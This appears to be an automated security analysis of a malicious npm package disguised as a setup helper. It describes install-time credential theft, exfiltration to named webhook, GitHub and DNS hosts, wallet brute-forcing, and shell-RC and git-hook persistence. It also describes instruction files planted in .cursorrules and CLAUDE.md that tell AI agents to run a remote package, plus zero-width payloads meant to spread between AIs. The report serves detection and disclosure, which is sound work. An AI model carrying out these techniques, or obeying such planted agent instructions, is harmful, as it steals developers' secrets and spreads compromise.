Summary
The postinstall hook spawns a detached worker (lib/worker.js) that scans the home directory for credential stores (SSH, AWS, GCP, Azure, Docker, Kubernetes, browsers, crypto wallets) and environment variables, encrypts findings with Fernet, and exfiltrates to webhook endpoints (webhook.site) with DNS and GitHub Gist fallback channels. It propagates persistence by writing .cursorrules, CLAUDE.md, git hooks, and .bashrc/.zshrc/.profile entries, and embeds zero-width steganographic payloads for AI-to-AI chain infection.
Intent
Pretends to be a Node.js project setup helper. Actually runs a background credential-scraping worker that exfiltrates SSH keys, AWS/Cloud credentials, browser logins, crypto wallet keystores, API keys, and environment secrets to attacker-controlled webhooks, while persisting via shell RC files, git hooks, and AI agent config files (.cursorrules, CLAUDE.md).
credential_access credential_harvest network_egress persistence agent_config_tamper code_execution crypto_theft browser_theft obfuscation reconnaissance
Credential harvesting worker spawned at install time critical lib/setup.js:29
lib/setup.js:29-36 spawns lib/worker.js as a detached, unref'd child process with RUN_VERIFICATION env var, running indefinitely in the background.
Scans 40+ credential/store paths critical lib/worker.js:114
lib/worker.js:114-170 defines SCAN_DIRS and EXFIL_DIRS covering .ssh, .aws, .kube, .npmrc, .git-credentials, browser Login Data, exchange configs, crypto keystores, .env, shell history, and more.
Exfiltration to attacker webhooks critical lib/worker.js:720
lib/worker.js:720-734 POSTs encrypted findings to webhook URLs; fallback exfil via DNS lookups (lib/worker.js:761-776) and GitHub Gists (lib/worker.js:779-812).
Crypto wallet keystore brute-force critical lib/worker.js:1529
lib/worker.js:74-105,1529-1606 scans for Ethereum/BTC/SOL keystores and attempts decryption with 100+ common passwords and env-derived candidates; reports decrypted private keys.
Remote command execution from config high lib/worker.js:1420
lib/worker.js:1420-1427 executes arbitrary shell commands fetched from remote config (ddjidd564.github.io) via execSync.
AI prompt injection via .cursorrules / CLAUDE.md high lib/worker.js:1763
lib/worker.js:1763-1772 writes malicious instruction files to project directories that instruct AI agents to run npx -y dev-env-bootstrapper@latest and embed zero-width payloads.
Git hook persistence high lib/worker.js:1774
lib/worker.js:1774-1791 installs post-merge and post-checkout hooks that download and execute https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js.
Shell RC persistence high lib/worker.js:1797
lib/worker.js:1797-1806 appends __p2024_vfy() to .bashrc, .zshrc, .profile that runs npx -y dev-env-bootstrapper@latest on every new shell.
Zero-width steganography for AI-to-AI propagation high lib/worker.js:1849
lib/worker.js:1849-1899 encodes binary payloads as ZWSP+ZWJ/ZWNJ+LTRM Unicode sequences and injects them into source files for other AIs to decode and activate.
Canary credential files read in lab critical lib/worker.js:114-200
Lab read /home/andy/.ssh, /home/andy/.aws/credentials, /home/andy/.kube/config, /home/andy/.npmrc, /home/andy/.git-credentials, /home/andy/.claude/settings.json, /home/andy/.cursor/mcp.json, /home/andy/.agents/skills, /home/andy/.docker/config.json, /home/andy/.config/gcloud/application_default_credentials.json — 22 files.
Persistence files written outside package in lab high lib/worker.js:1726-1806
Written: /home/andy/.bashrc, /home/andy/.zshrc, /home/andy/.profile, /.cursorrules, /home/andy/.local/share/.integrity_queue, /home/andy/.local/share/.p2024_integrity, /home/andy/.local/share/.p2024_tokens/3e4b90516dc4d994
Remote config fetch for C2 high lib/worker.js:911
lib/worker.js:911-920 fetches config from https://ddjidd564.github.io/defi-security-best-practices/config.json with mirrors on raw.githubusercontent.com and DNS TXT fallback on _integrity-config.config-verify.org.
Install hooks ran in the isolated lab. Processes spawned: 12. Hooks: postinstall (timed out), require (timed out).
DNS names requested: ddjidd564[.]github[.]io, raw[.]githubusercontent[.]com, _integrity-config[.]config-verify[.]org, api[.]github[.]com, webhook[.]site
Direct connections: socket 127[.]0[.]0[.]1:53
Canary credential files read: /home/andy/.config/gcloud, /home/andy/.config/gcloud/application_default_credentials.json, /home/andy/.ssh, /home/andy/.agents/skills, /home/andy/.aws, /home/andy/.claude/settings.json, /home/andy/.codex/config.toml, /home/andy/.cursor/mcp.json, /home/andy/.docker, /home/andy/.docker/config.json, /home/andy/.kube, /home/andy/.npmrc, /home/andy/.gitconfig, /home/andy/.git-credentials, /home/andy/.aws/credentials, /home/andy/.aws/config, /home/andy/.kube/config, /etc/passwd
Files written outside the package: /home/andy/.local/share/.integrity_queue, /home/andy/.local/share/.p2024_integrity, /.cursorrules, /home/andy/.bashrc, /home/andy/.zshrc, /home/andy/.profile, /home/andy/.local/share/.p2024_tokens/3e4b90516dc4d994